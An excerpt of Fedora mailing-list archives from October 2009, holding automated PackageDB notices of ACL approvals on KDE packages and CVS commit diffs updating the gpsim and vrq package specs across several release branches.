rdieter has set the watchbugzilla acl on kdegames (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdegames



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:16 +0000
Subject: [pkgdb] kdegames had acl change status
Message-ID: <20091011030616.7EBCB10F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdegames (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdegames



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:18 +0000
Subject: [pkgdb] kdegames had acl change status
Message-ID: <20091011030618.874AD10F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdegames (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdegames



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:28 +0000
Subject: [pkgdb] kdegraphics had acl change status
Message-ID: <20091011030628.90A1D10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdegraphics (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdegraphics



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:29 +0000
Subject: [pkgdb] kdegraphics had acl change status
Message-ID: <20091011030629.56E7E10F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdegraphics (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdegraphics



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:29 +0000
Subject: [pkgdb] kdegraphics had acl change status
Message-ID: <20091011030630.00BB610F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdegraphics (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdegraphics



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:43 +0000
Subject: [pkgdb] kdelibs had acl change status
Message-ID: <20091011030643.1F4D310F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdelibs (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdelibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:43 +0000
Subject: [pkgdb] kdelibs had acl change status
Message-ID: <20091011030643.A054710F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdelibs (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdelibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:45 +0000
Subject: [pkgdb] kdelibs had acl change status
Message-ID: <20091011030645.418EE10F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdelibs (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdelibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:56 +0000
Subject: [pkgdb] kdemultimedia had acl change status
Message-ID: <20091011030656.A93B810F895@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdemultimedia (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdemultimedia



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:57 +0000
Subject: [pkgdb] kdemultimedia had acl change status
Message-ID: <20091011030657.B518A10F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdemultimedia (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdemultimedia



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:59 +0000
Subject: [pkgdb] kdemultimedia had acl change status
Message-ID: <20091011030659.D841210F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdemultimedia (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdemultimedia



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:13 +0000
Subject: [pkgdb] kdenetwork had acl change status
Message-ID: <20091011030713.7AF7810F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdenetwork (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdenetwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:14 +0000
Subject: [pkgdb] kdenetwork had acl change status
Message-ID: <20091011030714.1D64310F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdenetwork (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdenetwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:16 +0000
Subject: [pkgdb] kdenetwork had acl change status
Message-ID: <20091011030716.5D82010F8B1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdenetwork (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdenetwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:29 +0000
Subject: [pkgdb] kdepimlibs had acl change status
Message-ID: <20091011030729.D016C10F880@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepimlibs (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepimlibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:30 +0000
Subject: [pkgdb] kdepimlibs had acl change status
Message-ID: <20091011030730.2732710F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepimlibs (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepimlibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:32 +0000
Subject: [pkgdb] kdepimlibs had acl change status
Message-ID: <20091011030732.7C4E710F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepimlibs (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepimlibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:45 +0000
Subject: [pkgdb] kdepimlibs had acl change status
Message-ID: <20091011030745.DE08110F880@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepimlibs (Fedora 10) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepimlibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:56 +0000
Subject: [pkgdb] kdesdk had acl change status
Message-ID: <20091011030756.A48E210F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdesdk (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdesdk



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:58 +0000
Subject: [pkgdb] kdesdk had acl change status
Message-ID: <20091011030758.513ED10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdesdk (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdesdk



From pkgdb at fedoraproject.org  Sun Oct 11 03:07:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:07:59 +0000
Subject: [pkgdb] kdesdk had acl change status
Message-ID: <20091011030759.E257B10F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdesdk (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdesdk



From pkgdb at fedoraproject.org  Sun Oct 11 03:08:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:08:27 +0000
Subject: [pkgdb] kdeutils had acl change status
Message-ID: <20091011030827.C4B2B10F895@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdeutils (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeutils



From pkgdb at fedoraproject.org  Sun Oct 11 03:08:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:08:28 +0000
Subject: [pkgdb] kdeutils had acl change status
Message-ID: <20091011030828.AB9F610F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdeutils (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeutils



From pkgdb at fedoraproject.org  Sun Oct 11 03:08:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:08:30 +0000
Subject: [pkgdb] kdeutils had acl change status
Message-ID: <20091011030830.B659110F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdeutils (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeutils



From pkgdb at fedoraproject.org  Sun Oct 11 03:12:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:12:21 +0000
Subject: [pkgdb] oxygen-icon-theme: mathstuf has requested watchbugzilla
Message-ID: <20091011031221.4833610F880@bastion2.fedora.phx.redhat.com>

mathstuf has requested the watchbugzilla acl on oxygen-icon-theme (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/oxygen-icon-theme



From pkgdb at fedoraproject.org  Sun Oct 11 03:12:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:12:24 +0000
Subject: [pkgdb] oxygen-icon-theme: mathstuf has requested watchcommits
Message-ID: <20091011031225.00D6E10F8A8@bastion2.fedora.phx.redhat.com>

mathstuf has requested the watchcommits acl on oxygen-icon-theme (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/oxygen-icon-theme



From pkgdb at fedoraproject.org  Sun Oct 11 03:12:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:12:27 +0000
Subject: [pkgdb] oxygen-icon-theme: mathstuf has requested commit
Message-ID: <20091011031227.21C2A10F8B1@bastion2.fedora.phx.redhat.com>

mathstuf has requested the commit acl on oxygen-icon-theme (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/oxygen-icon-theme



From pkgdb at fedoraproject.org  Sun Oct 11 03:13:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:13:01 +0000
Subject: [pkgdb] oxygen-icon-theme had acl change status
Message-ID: <20091011031301.508BD10F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on oxygen-icon-theme (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/oxygen-icon-theme



From pkgdb at fedoraproject.org  Sun Oct 11 03:13:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:13:02 +0000
Subject: [pkgdb] oxygen-icon-theme had acl change status
Message-ID: <20091011031302.9898810F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on oxygen-icon-theme (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/oxygen-icon-theme



From pkgdb at fedoraproject.org  Sun Oct 11 03:13:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:13:18 +0000
Subject: [pkgdb] oxygen-icon-theme had acl change status
Message-ID: <20091011031319.02E6110F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on oxygen-icon-theme (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/oxygen-icon-theme



From rrankin at fedoraproject.org  Sun Oct 11 05:28:59 2009
From: rrankin at fedoraproject.org (Roy Rankin)
Date: Sun, 11 Oct 2009 05:28:59 +0000 (UTC)
Subject: rpms/gpsim/EL-5 .cvsignore, 1.5, 1.6 gpsim.spec, 1.19, 1.20 sources,
	1.5, 1.6
Message-ID: <20091011052859.55C7111C00EC@cvs1.fedora.phx.redhat.com>

Author: rrankin

Update of /cvs/pkgs/rpms/gpsim/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24712

Modified Files:
	.cvsignore gpsim.spec sources 
Log Message:
New Processors:
        P10F220 P10F222 P12F675 P12F629 P12F683 P16F630 P16F676 
        P18F4455(No USB support)

Bug Fixes

        TMR0 should stop during sleep (#502665)
        Multiple CCPs fail in compare mode (#2819395)
        weak pull-up not disabled for analog pins (#2814950)
        p18f2455 sigsegv, wrong package size (#2814946)
        cannot load a file with "stc" in the filename (#2803756)
        Port A simulation error in 16f87x (#1832222)
        "gpsim -p processor file.hex" will work (#1629719)
        Fix MCLR pin operation when shared with IO pin
        Module library does not load if .so file does not exist (#2837446)

Enhancements
        *.cod and *.stc files on command line correctly loaded
            without -s, -c flag




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gpsim/EL-5/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	9 Jun 2009 06:15:20 -0000	1.5
+++ .cvsignore	11 Oct 2009 05:28:56 -0000	1.6
@@ -1 +1 @@
-gpsim-0.23.0.tar.gz
+gpsim-0.24.0.tar.gz


Index: gpsim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gpsim/EL-5/gpsim.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- gpsim.spec	2 Aug 2009 23:03:21 -0000	1.19
+++ gpsim.spec	11 Oct 2009 05:28:56 -0000	1.20
@@ -1,6 +1,6 @@
 Name:		gpsim
-Version:	0.23.0
-Release:	9%{?dist}
+Version:	0.24.0
+Release:	1%{?dist}
 Summary:	A simulator for Microchip (TM) PIC (TM) microcontrollers
 Summary(fr):	Un simulateur pour les microcontr?leurs PIC (TM) Microchip (TM)
 
@@ -93,6 +93,10 @@ autoconf
 %{_includedir}/*
 
 %changelog
+* Sun Oct 11 2009 Roy Rankin <rrankin at ihug.com.au> 0.24.0-1
+- upstream release of gpsim 0.24.0 - bug fixes and see ANNOUNCE for
+  new features and processors.
+
 * Mon Aug 03 2009 Roy Rankin <rrankin at ihug.com.au> 0.23.0-9
 - Add bison to build requires 
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gpsim/EL-5/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	9 Jun 2009 06:15:21 -0000	1.5
+++ sources	11 Oct 2009 05:28:56 -0000	1.6
@@ -1 +1 @@
-d19a3aef6e62fed6a7e23d5c5817ed56  gpsim-0.23.0.tar.gz
+3185c8729ac47359e0bf52e2ea46735b  gpsim-0.24.0.tar.gz



From shakthimaan at fedoraproject.org  Sun Oct 11 05:30:33 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 11 Oct 2009 05:30:33 +0000 (UTC)
Subject: rpms/vrq/devel import.log, NONE, 1.1 .cvsignore, 1.2, 1.3 sources,
	1.2, 1.3 vrq.spec, 1.1, 1.2
Message-ID: <20091011053033.E4B4C11C04BA@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25211/devel

Modified Files:
	.cvsignore sources vrq.spec 
Added Files:
	import.log 
Log Message:
Updated to vrq 1.0.61 package.



--- NEW FILE import.log ---
vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239101


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 14:49:46 -0000	1.2
+++ .cvsignore	11 Oct 2009 05:30:31 -0000	1.3
@@ -1 +1 @@
-vrq-1.0.58.tar.gz
+vrq-1.0.61.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 14:49:47 -0000	1.2
+++ sources	11 Oct 2009 05:30:32 -0000	1.3
@@ -1 +1 @@
-8a7e8c48452835f14f3858121635ff22  vrq-1.0.58.tar.gz
+48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/vrq.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vrq.spec	14 Sep 2009 14:49:47 -0000	1.1
+++ vrq.spec	11 Oct 2009 05:30:32 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           vrq
-Version:        1.0.58
-Release:        3%{?dist}
+Version:        1.0.61
+Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
 Group:          Applications/Engineering
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
+- Updated to upstream packae 1.0.61
+
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib
 



From shakthimaan at fedoraproject.org  Sun Oct 11 05:32:27 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 11 Oct 2009 05:32:27 +0000 (UTC)
Subject: rpms/vrq/EL-5 .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources, 1.2,
	1.3 vrq.spec, 1.1, 1.2
Message-ID: <20091011053227.9BD0711C00EC@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27538/EL-5

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to package 1.0.61.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 14:56:42 -0000	1.2
+++ .cvsignore	11 Oct 2009 05:32:27 -0000	1.3
@@ -1 +1 @@
-vrq-1.0.58.tar.gz
+vrq-1.0.61.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Sep 2009 14:56:42 -0000	1.1
+++ import.log	11 Oct 2009 05:32:27 -0000	1.2
@@ -1 +1,2 @@
 vrq-1_0_58-3_fc11:EL-5:vrq-1.0.58-3.fc11.src.rpm:1252940578
+vrq-1_0_61-1_fc11:EL-5:vrq-1.0.61-1.fc11.src.rpm:1255239529


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 14:56:42 -0000	1.2
+++ sources	11 Oct 2009 05:32:27 -0000	1.3
@@ -1 +1 @@
-8a7e8c48452835f14f3858121635ff22  vrq-1.0.58.tar.gz
+48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/vrq.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vrq.spec	14 Sep 2009 14:56:42 -0000	1.1
+++ vrq.spec	11 Oct 2009 05:32:27 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           vrq
-Version:        1.0.58
-Release:        3%{?dist}
+Version:        1.0.61
+Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
 Group:          Applications/Engineering
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
+- Updated to upstream packae 1.0.61
+
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib
 



From shakthimaan at fedoraproject.org  Sun Oct 11 05:33:43 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 11 Oct 2009 05:33:43 +0000 (UTC)
Subject: rpms/vrq/F-10 .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources, 1.2,
	1.3 vrq.spec, 1.1, 1.2
Message-ID: <20091011053343.B78AC11C00EC@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27948/F-10

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to 1.0.61 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 14:53:31 -0000	1.2
+++ .cvsignore	11 Oct 2009 05:33:43 -0000	1.3
@@ -1 +1 @@
-vrq-1.0.58.tar.gz
+vrq-1.0.61.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Sep 2009 14:53:31 -0000	1.1
+++ import.log	11 Oct 2009 05:33:43 -0000	1.2
@@ -1 +1,2 @@
 vrq-1_0_58-3_fc11:F-10:vrq-1.0.58-3.fc11.src.rpm:1252940282
+vrq-1_0_61-1_fc11:F-10:vrq-1.0.61-1.fc11.src.rpm:1255239629


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 14:53:31 -0000	1.2
+++ sources	11 Oct 2009 05:33:43 -0000	1.3
@@ -1 +1 @@
-8a7e8c48452835f14f3858121635ff22  vrq-1.0.58.tar.gz
+48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/vrq.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vrq.spec	14 Sep 2009 14:53:31 -0000	1.1
+++ vrq.spec	11 Oct 2009 05:33:43 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           vrq
-Version:        1.0.58
-Release:        3%{?dist}
+Version:        1.0.61
+Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
 Group:          Applications/Engineering
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
+- Updated to upstream packae 1.0.61
+
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib
 



From shakthimaan at fedoraproject.org  Sun Oct 11 05:34:42 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 11 Oct 2009 05:34:42 +0000 (UTC)
Subject: rpms/vrq/F-11 .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources, 1.2,
	1.3 vrq.spec, 1.1, 1.2
Message-ID: <20091011053442.2A48F11C00EC@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28449/F-11

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to 1.0.61 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 14:55:04 -0000	1.2
+++ .cvsignore	11 Oct 2009 05:34:41 -0000	1.3
@@ -1 +1 @@
-vrq-1.0.58.tar.gz
+vrq-1.0.61.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Sep 2009 14:55:05 -0000	1.1
+++ import.log	11 Oct 2009 05:34:41 -0000	1.2
@@ -1 +1,2 @@
 vrq-1_0_58-3_fc11:F-11:vrq-1.0.58-3.fc11.src.rpm:1252940486
+vrq-1_0_61-1_fc11:F-11:vrq-1.0.61-1.fc11.src.rpm:1255239689


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 14:55:05 -0000	1.2
+++ sources	11 Oct 2009 05:34:41 -0000	1.3
@@ -1 +1 @@
-8a7e8c48452835f14f3858121635ff22  vrq-1.0.58.tar.gz
+48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/vrq.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vrq.spec	14 Sep 2009 14:55:05 -0000	1.1
+++ vrq.spec	11 Oct 2009 05:34:41 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           vrq
-Version:        1.0.58
-Release:        3%{?dist}
+Version:        1.0.61
+Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
 Group:          Applications/Engineering
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
+- Updated to upstream packae 1.0.61
+
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib
 



From shakthimaan at fedoraproject.org  Sun Oct 11 05:35:53 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 11 Oct 2009 05:35:53 +0000 (UTC)
Subject: rpms/vrq/F-12 import.log, NONE, 1.1 .cvsignore, 1.2, 1.3 sources,
	1.2, 1.3 vrq.spec, 1.1, 1.2
Message-ID: <20091011053553.9739511C00EC@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28784/F-12

Modified Files:
	.cvsignore sources vrq.spec 
Added Files:
	import.log 
Log Message:
Updated to 1.0.61 package.



--- NEW FILE import.log ---
vrq-1_0_61-1_fc11:F-12:vrq-1.0.61-1.fc11.src.rpm:1255239754


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 14:49:46 -0000	1.2
+++ .cvsignore	11 Oct 2009 05:35:53 -0000	1.3
@@ -1 +1 @@
-vrq-1.0.58.tar.gz
+vrq-1.0.61.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 14:49:47 -0000	1.2
+++ sources	11 Oct 2009 05:35:53 -0000	1.3
@@ -1 +1 @@
-8a7e8c48452835f14f3858121635ff22  vrq-1.0.58.tar.gz
